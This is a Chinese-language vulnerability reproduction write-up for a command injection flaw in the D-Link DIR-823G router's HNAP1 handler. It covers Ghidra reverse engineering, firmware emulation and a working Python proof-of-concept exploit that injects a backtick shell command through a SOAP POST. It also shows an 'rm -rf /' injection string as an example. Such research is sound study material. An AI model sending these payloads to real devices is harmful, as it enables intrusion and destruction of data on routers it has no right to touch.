+websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);
+websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
+websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);
+```
+
+使用ghidra进行逆向分析,goahead二进制文件在squashfs-root目录下的bin目录下
+
+
+
+那进入到goahead反编译界面该如何分析呢?一种是找到main函数去进行分析,比较耗时
+
+一种是通过关键字来搜索,反推调用情况,来推测每个功能的解析情况 ctrl+shift+E
+
+
+
+匹配成功,停在指定区域
+
+
+
+但是它所对应的反编译代码还是很多的,所以我们可以通过反编译出来的函数名,进行查看它的调用关系
+
+
+
+一路往下翻,终于找到我们所要的东西
+
+
+
+而且我们看到,这个函数继续往上调的话就是main函数了,所以其实一开始也是可以从main函数来分析的(0.0)
+
+所以现在我们可以重点来分析这个函数
+
+
+
+前面还是做一些判断,然后请求还有不止HNAP1,对应的都是一个函数。
+
+同一个函数做的事情,类似于websUrlHandlerDefine这个函数,那HANP1对应的函数是
+
+FUN_0042383c,那就双击进去看看
+
+
+
+这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号问题
+
+比如说正常代码
+```
+#!/bin/bash
+read -p "Enter your name: " name
+echo 'Hello, '$name'!'
+```
+
+攻击步骤
+:
+
+正常输入
+:用户输入 Alice
+,输出:
+```
+Hello,Alice!
+```
+
+恶意输入
+:用户输入 '$(id)'
+,此时脚本实际执行的命令变为:
+```
+echo 'Hello, ''$(id)'!'
+```
+
+输出:
+```
+Hello, $(id)!
+```
+
+单引号内的 $(id)
+ 不会被执行
+,暂时安全。
+
+更危险的输入
+:用户输入 ' && rm -rf / #
+,命令变为:
+```
+echo 'Hello, '' && rm -rf / #'!
+```
+
+此时,第一个单引号被用户输入的 '
+ 闭合。&& rm -rf /
+ 成为独立命令,在 echo
+ 之后执行。#
+ 注释掉后续的 '!
+,避免语法错误。
+
+那么会导致rm -rf /
+ 会被执行,删除系统文件!
+
+所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞
+
+但是我们要进到漏洞点的话,还需要满足函数上面的一些要求
+
+所以我们得符合上面函数的一些限制才能进入到漏洞点来,这里先取了PTRs_SetMultipleActions_00588d80的首地址,赋值给DAT_0058a6c4,然后DAT_0058a6c4自身判断和自加2来进行循环判断,用strstr函数查找DAT_0058a6c4在param
++0x524中出现的位置,并赋值给pcVar1,如果pcVar1的值不为0的话,就会进入到我们的漏洞点来
+
+
+
+DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关,双击进去看看
+
+
+
+可以看到里面都是它对应的一些方法,比如说SetMultipleActions之类的
+## 固件模拟
+
+分析到这里,基本上是明朗了,接下来就要进行固件模拟操作,使用firmadyne模拟固件启动
+
+
+```
+sudo ./DIR823G_V1.0.2B05_20181207.sh
+```
+
+然后firmadyne默认的密码就是firmadyne
+
+
+
+得等一段时间,然后192.168.0.1
+
+但是这个一直搞不定,模拟不起来,也不知道是什么原因,排查不出
+
+然后换成了firmware analysis plus (fap)这个框架,就模拟起来了
+
+
+
+等一段时间后,回车,就可以模拟起来了,输入192.168.0.1
+
+
+
+进入向导,随便输入点东西
+
+
+
+
+
+密码8位,输入12345678
+
+
+
+然后就开始配置一些内容,同时可以注意到左侧已经把一些数据写入到关键的文件夹中
+
+
+
+配置完毕,登录,成功进入路由器
+
+
+## exp编写
+```
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+import requests
+
+ip='192.168.0.1'
+
+command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
+length=len(command)
+
+headers=requests.utils.default_headers()
+headers["Content-Length"]=str(length)
+headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
+headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
+headers["Content-Type"]="text/xml; charset=UTF-8"
+headers["Accept"]="*/*"
+headers["Accept-Encoding"]="gzip, deflate"
+headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
+
+payload=command
+r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)
+```
+
+因为是http请求,所以我们使用requests,然后设置ip,设置命令,构造报头,最后post请求将HNAP1,headers和payload都传过去
+
+
+
+
+
+复现完毕,ctrl+a 然后x结束固件模拟
+
+
+
+
+学
+习
+网安实战课程
+,
+戳
+“阅读原文”
+
+